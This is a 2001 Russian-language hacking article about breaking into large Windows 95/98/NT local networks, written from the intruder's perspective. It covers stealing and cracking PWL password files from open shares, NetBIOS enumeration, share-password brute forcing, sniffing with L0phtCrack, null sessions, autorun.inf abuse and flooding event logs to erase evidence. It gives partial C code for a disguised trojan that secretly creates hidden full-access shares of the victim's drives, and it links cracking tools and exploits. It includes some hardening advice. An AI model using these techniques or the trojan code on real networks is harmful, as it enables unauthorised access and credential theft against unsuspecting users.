|
Технология взлома больших локальных сетей
Введение.
В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. Приведены примеры использования соответствующих инструментов для взлома, исходные тексты автора. Так же даются рекомендации по устранению проблем.
Итак, мы в сети.
Поставим себя на место человека, которому все очень интересно...
И с чего мы начнем? С исследования, конечно. Погуляем по сети, поглядим, где доступ только на чтение, а где и полный. Находим разные шары, доступные на чтение (например, с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшаренный в корне диск, это всегда приятно. :) Пока будем действовать примитивно. Первым делом находим папку "Windows" и вытягиваем оттуда все *.pwl файлы и сохраняем у себя на диске. По названиям этих файлов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например, файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться...
Что мы можем найти в PWL? Начнем вскрытие. Берем любую программу для взлома паролей и действуем согласно инструкции. ;) Что мы видим? PWL - это "копилка", в которую помещаются все пароли, которые пользователь вводит для доступа к удаленным ресурсам.
Для машин, где используется для доступа в Internet модем, это обычно так:
(прим.: реальные пароли я забил знаком "X")
(C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98)
~~~~~~~~~~~~~~
¦ Enter the User Password:
File '1.PWL' has size 948 bytes, version [W95osr2_Win98]
for user '1' with password '' contains:
-[Type]-[The resource location string]--------------[Password]-
Dial *Rna\My Connection\ZZ-top XXXXXXX
Dial *Rna\My Connection\ZZ-TOP XXXXXXX
Dial *Rna\My Connection\ZZTOP XXXXXXX
Dial *Rna\TiNET 1\ZZTOP XXXXXXXXXXX
Dial *Rna\TiNET 2\ZZTOP XXXXXXX
Dial *Rna\TiNET\neoxars XXXXXXX
Dial *Rna\TiNET\NeoXars XXXXXXX
---------------------------------------------------------------
¦ Indexed Entryes: 1; Number of resources: 7.
Для машин, работающих в локальных сетях, например, так:
File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98]
for user 'SANJA' with password 'QUAKE' contains:
-[Type]-[The resource location string]--------------[Password]-
Link ASH\EMAIL XXXXXX
Link ASH\INTERNET XXXXXX
Link ASH\RED XXXXXX
Link ASH\TI_UART
Dial ! crypt_Blizzard_Storm XXXXX
Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX
MAPI MAPI MAPI
---------------------------------------------------------------
_ Indexed Entryes: 4; Number of resources: 7.
Все пароли, хранящиеся в PWL, закрыты только одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий (хотя всякое бывает). Поэтому мы легко их вскрываем и получаем доступ к другим машинам. Затем вытягиваем из них PWL и поступаем так же. И можно было бы сказать, что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет. ;)
Что тут можно посоветовать? Простым вариантом будет добавление символа "$" к имени ресурса, что сделает его невидимым для всех в сетевом окружении. Чем меньше человек знают о нем, тем меньше шансов быть атакованным. Но не стоит задавать простые имена типа "C$", так как их довольно часто проверяют взломщики. Хотя это не спасает от тех, кто знает свое дело. Ведь на запрос о предоставлении списка доступных ресурсов система выдает полный список, включая и "невидимые" ресурсы. Фильтруются они уже локально. Поэтому, существует возможность воспользоваться предназначенными для этого программами, хотя бы юниксовым SMB-клиентом. А еще проще - запустите сниффер, поймайте ответ от сервера и посмотрите на него. А заставить удаленный хост прислать вам список доступных ресурсов можно командой "net view \\comp_name"
Продолжим исследование.
Итак, что мы еще можем сделать? Вот пример: Набираем что-то типа nbtstat -a 192.168.20.30. Получаем примерно такой результат: ---------------------------------------------------------------------
Имя Тип Состояние
----------------------------------------------------
TOLIK <00> UNIQUE Зарегистрирован
TO-31 <00> GROUP Зарегистрирован
TOLIK <03> UNIQUE Зарегистрирован
TOLIK <20> UNIQUE Зарегистрирован
TO-31 <1E> GROUP Зарегистрирован
TO-31 <1D> UNIQUE Зарегистрирован
..__MSBROWSE__.<01> GROUP Зарегистрирован
Адрес платы (MAC) = 00-00-21-1F-E5-92
---------------------------------------------------------------------
Что мы видим?
Workstation Service = TOLIK
Domain Name = TO-31
Messenger Service = TOLIK (т.е. можно туда отсылать сообщения net send TOLIK "...") Это имя пользователя, вошедшего в систему
File Server Service = TOLIK
Browser Service Elections = TO-31
Master Browser = TO-31
MAC адресс сетевой карты.
Это самое малое, что может показать эта команда. При наличии дополнительных сервисов на исследуемой машине будет выдано гораздо больше информации. Из нее обычно можно узнать имя пользователя, зашедшего в систему, домен/раб.гр и т.д.) Расшифровку можно получать из следующей таблицы:
Name Number Type Usage
================================================================
computername 00 U Workstation Service
computername 01 U Messenger Service
\\_MSBROWSE_ 01 G Master Browser
computername 03 U Messenger Service
computername 06 U RAS Server Service
computername 1F U NetDDE Service
computername 20 U File Server Service
computername 21 U RAS Client Service
computername 22 U Exchange Interchange
computername 23 U Exchange Store
computername 24 U Exchange Directory
computername 30 U Modem Sharing Server Service
computername 31 U Modem Sharing Client Service
computername 43 U SMS Client Remote Control
computername 44 U SMS Admin Remote Control Tool
computername 45 U SMS Client Remote Chat
computername 46 U SMS Client Remote Transfer
computername 4C U DEC Pathworks TCPIP Service
computername 52 U DEC Pathworks TCPIP Service
computername 87 U Exchange MTA
computername 6A U Exchange IMC
computername BE U Network Monitor Agent
computername BF U Network Monitor Apps
username 03 U Messenger Service
domain 00 G Domain Name
domain 1B U Domain Master Browser
domain 1C G Domain Controllers
domain 1D U Master Browser
domain 1E G Browser Service Elections
INet~Services 1C G Internet Information Server
IS~Computer_name 00 U Internet Information Server
computername [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
----------------------------------------------------------------
Немного творчества.
Ну что же? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать? Например, переписать, куда только можно программку, которая при запуске сделает доступными все диски и на чтение, и на запись. Называем ее подходящим именем в расчете на то, что кто-то ее запустит. Конечно, можно было бы еще долго и нудно рассказывать о троянизации, маскировании под must-have файлы, но я этого делать не буду. Это уже относится к психологии.
Вот что я написал для демонстрации данного метода.
(Для того, чтобы кто попало не компилировал, я не даю полный листинг)
---------------------------------------------------------------------
share_info_50 shinfo50;
ZeroMemory(&shinfo50,sizeof(shinfo50));
shinfo50.shi50_type=STYPE_DISKTREE;
shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
shinfo50.shi50_remark="";
lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1);
shinfo50.shi50_path="C:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1);
shinfo50.shi50_path="D:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1);
shinfo50.shi50_path="E:\\";
NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
FillMemory((VOID*)0xFFFFFFFF,1,0);
---------------------------------------------------------------------
Теперь на жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом удобного? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса заканчивается знаком "$". Это значит, что:
1) Мы имеем полный доступ.
2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен.
3) Шара не будет видна всем в сети.
Можете поэкспериментировать с этой программкой и поставить себя теперь на место пользователя. Вот вы увидили файл, который не вы записывали. Вам сразу хочется узнать что это, и, если файл не нужен, удалить его. Вы запускаете и видите что-то типа "программа выполнила недопустимую инструкцию". Первая мысль обычно о том, что программа просто не работает. Вы со спокойной душой удаляете файл и даже не подозреваете, что темное дело уже сделано. Все. Вы под полным контролем. Тут не поможет никакой антивирус. Попробуйте зайти с другой машины на ваши диски. Теперь не забудьте удалить из реестра эти ресурсы. Они находятся в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan. Кстати, есть еще возможность создания reg файла, который автоматически создаст необходимые ключи в реестре. Но это слишком заметно, и вряд ли пользователь попадется на такую уловку. А метод с exe файлом работает довольно успешно. Я проводил эксперименты - многие попадались.
Хотелось бы еще упомянуть о возможности "заставить" пользователя запустить программу, даже не подозревая об этом, если у вас есть доступ на запись в корень диска. Этот медот основан на использовании файлов autorun.inf. (Работает метод на Win9x) Они присутствуют на большинстве CD-дисков. Вот пример такого файла:
[autorun]
open=autorun.exe
icon=autorun.exe
Нам достаточно лишь строчки "open", где мы записываем имя программы, которая должна выполниться. Кладем этот файл в корне доступного на запись диска и ждем, пока кто-нибудь не нажмет "Мой компьютер --> Диск E:". К счастью(не для всех...), в Win2000 так сделать не удастся. Если файл autorun.inf лежит на жестком диске - он просто игнорируется системой.
Ну а если на некоторые машины вы так и не смогли попасть, можно попробовать взломать пароли удаленно перебором. Для этого даже существуют специальные программки. :) Но переборщик паролей на сетевые ресурсы по словарю я не видел и писал его сам. Вот код, который подключает сетевой диск (Win9x only):
----------------------------------------------------------------------
DWORD RetVal;
NETRESOURCE nr;
nr.lpRemoteName=resname;
nr.dwType=RESOURCETYPE_DISK;
RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
----------------------------------------------------------------------
Немного теории.
При использовании такого метода в случае, когда удаленная машина Win9x, перебор ведется довольно быстро. Если же вы пытаетесь подключиться к NT, существует некоторая задержка в случае неверной комбинации имя/пароль. Но если вы подключаетесь как администратор, насколько я помню, такой задержки нет. В то же время, все попытки (удачные/неудачные - в зависимости от настроек) регистрируются в журнале событий NT. Поэтому заранее стоит подумать о том, что таким способом можно переполнить журнал - это позволит злоумышленнику уничтожить более важную информацию в логах.
Но не всегда нужен перебор всех вариантов паролей. Для машин Win95/98/Me дела обстоят намного хуже. В реализации авторизации SMB-сессии Microsoft допустила ошибку, поэтому, путем написания специального эксплоита, можно получить доступ к жертве, потратив на взлом пароля, примерно, столько времени, сколько необходимо затратить на подбор одного символа, умноженного на их количество. Вы можете увидеть программную реализацию использования этой ошибки, если в поисковом сервере наберете "PQWak". Он выдаст множество ссылок на эту программу. А если же вы хотите версию программы, написанную нашим программистом, можете искать по слову "xIntruder". Эта программа, в отличие от предыдущей, понимает русские символы в именах машин. Поиграйте с этими программами и не удивляйтесь, когда за одну секунду будет взломан пароль длинной в 7 символов. А затем, чтобы спалось спокойней, закачайте официальный патч от Microsoft и раздайте всем, кому только можно. Ссылка на патчи дана в конце документа.
Кстати, о багах. В системах NT4 и Win2k частенько остается непропатченым баг "NetBIOS: Null Session". Путем подстановки NULL вместо имени пользователя и пароля при подключении к сервису IPC$, можно получить доступ к списку зарегистрированных в системе пользователей, расшаренных ресурсов и др.. Устранить это можно занесением значения "1" в ключ реестра "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ LSA Name: RestrictAnonymous "
Вышеуказанные программы работают по протоколу TCP, устанавливая соединение со 139-м портом на жертве, и вручную формируя пакеты сессий. Если же в сети используется протокол IPX, приходится сложнее. У меня пока есть планы на счет реализации этого алгоритма в программе, работающей на протоколах и TCP, и IPX. А пока приведу возможные варианты инкапсуляции пакетов SMB:
Используемый протокол: IP. Все системы - IP/TCP/Netbios/SMB
Используемый протокол: IPX. NT - IPX/Netbios/SMB. Win9x (default) IPX(:NMPI)/SMB
А теперь послушаем...
Нельзя забывать, что путем простого сниффинга сети можно добыть огромное количество информации, в частности, пароли. К несчастью (для большинства), во многих протоколах на базе TCP, по старинке, пароль передается в открытом виде. К таким протоколам относятся telnet, ftp, pop3 и многие другие (примечание: если у вас есть желание исследовать какой-либо протокол и посмотреть "что же там внутри", вы можете использовать для этого мой инструмент "TCP_LOGGER"). На смену им пришли "ssh", "apop" и подобные, но полный переход на новые протоколы еще займет немало времени. Но все же, уже нельзя, как раньше, легко перехватывать пароли на SMB сессии. Они перестали передаваться в открытом виде. Эта проблема была в диалектах "LANMAN1.0" и др., а в более поздних, таких как "LANMAN2.1" и "NT LM 0.12" и используется шифрование пароля ключом, сгенерированным сервером, и по сети передается лишь hash-значение. Это, конечно, затрудняет взлом, но не делает его невозможным. Ведь затем можно попытаться подобрать пароль, перебирая возможные пароли и накладывая на него ключ сервера, сравнивая результат с имеющимся. При наличии быстрой машины и большого объема оперативной памяти, можно добиться очень высоких показателей скорости перебора.
Приведу еще другой пример. Допустим, в вашем сегменте стоят машины с NT. Берем программу L0phtCrack и выбираем в меню "sniffing". Теперь она будет прослушивать все сетевые подключения и сохранять протокол в файл. Затем той же программкой и вскрываем их. Пример файла, который получается в результате использования для взлома программы L0phtCrack можно посмотреть здесь.
Какие есть возможности усложнить жизнь взломщику?
Во-первых, если в вашей сети используются только NT, и вам не нужно обеспечить возможность входа с машин Windows95/98/Me, в реестре можно подправить один ключ, касающийся с совместимости с LANMAN2.1, что позволит увеличить стойкость пароля, так как стандартно в паролях NT различается регистр символов, а в Windows9x - нет (и не только по этой причине). Присвойте элементу типа DWORD "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ Lsa \ LMCompatibilityLevel" значение "2".
Во-вторых, путем использования, например, свитчей вместо хабов. Повторители, хаб, коаксиал - это все, что формирует среду, образуя "collision domain". То есть, весь трафик является общим, что позволяет с любой машины перехватывать все пакеты, передающиеся какой угодно машиной в этом сегменте. В отличие от хаба, порты коммутатора разделяют "collision domain" и образуют "broadcast domain". Он работает с MAC адресами и на ходу стоит "route table". Поэтому пакет, адресованный какой-либо машине, будет передан на соответствующий порт свитча, а на остальных портах никаких событий не произойдет. Но помните(!), если в настойках не заданы жестко все MAC адреса, и свитч на лету обновляет таблицу соответствия интерфейсов портам, то остается возможность обмануть любую машину, послав ложный ARP, или ICMP пакет с сообщением о другом маршруте. Таким образом, мы можем перенаправить трафик на свой порт... более подробно об этом можно почитать в статьях на Сервере UInC.
К чему все это?
Снова представим себя на месте взломщика.
Что мы можем полезного из всего извлечь? Если жертва имеет выход в Internet, можно повесить туда программу, которая замэппит какой-нибудь порт на proxy. Это возможно даже в таких случаях, если до машины вы можете добраться только по IPX/SPX. Я так сам когда-то делал. Это был proxy из двух половинок с преобразованием TCP->SPX->TCP. (Просто для маршрутизации в сеть с выходом в internet использовался "Nowell Netware", работающий только с кадрами 802.3). А потом у других возникают вопросы - откуда берется трафик... Кстати, узнать, есть ли у машины доступ в Сеть можно довольно просто. Загляните, что там установлено в "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки можно, утянув реестр... Happy browsing! :)
Маленький словарь.
* Расшаривать - от англ. "share".
* PWL - сокращение "password list file".
* Патч - от англ. "patch" - заплата.
* Сниффинг, сниффер - от англ. "sniff" - нюхать.
* Замэппить - от англ. "map". Перенаправить трафик без изменений с локального порта на удаленный.
Links.
Патч от Microsoft исправляющий ошибку в работе SMB сессии можно скачать здесь:
http://www.microsoft.com/technet/security/bulletin/ms00-072.asp
Почитать подробнее про ошибку в SMB сессии Win 9x/ME можно здесь:
http://www.nsfocus.com/english/homepage/sa_05.htm
SMB вломщик, Unpassword 95, написанный мной можно скачать здесь
Альтернативные SMB вломщики:
UnPassword - http://www.bitersoft.narod.ru/unpas.htm
NetDisk Password Recover - http://www.inta.portal.ru/dark/Docs/NDPRV1_0.html
SMB Cracker - http://www.security.nnov.ru/files/smbcrkru.zip
NetBrute - http://www.rawlogic.com/netbrute/
SMB Auditing Tool(for Unix) - http://packetstormsecurity.org/Crackers/smbbf-0.9.1.tar.gz
Аналоги PQWak и сам PQWak:
PQWak - http://packetstormsecurity.org/0010-exploits/pqwak2.zip
Share Password Checker - http://www.securityfriday.com/spc_doc.html
xIntruder (работает с русскими путями) - http://www.tools-for.net/products.php?p=xintruder
PWL Hacker - http://www.uinc.ru/files/useful/pwl_h402.rar
L0pht Crack - http://www.atstake.com/research/lc3/index.html
L0pht Crack+ - http://lcp.chat.ru (русская бесплатная версия)
(c) Copyright 2001. Украина, Запорожье. KMiNT21 (mailto:kmint21@mail.ru).
uinC Member
[c]uinC
Статья написана специально для UInC (http://www.uinc.ru).
Последняя версия статьи лежит тут.
Любые комментарии, поправки, пожелания или дополнения можно посылать сюда: kmint21@mail.ru
|
|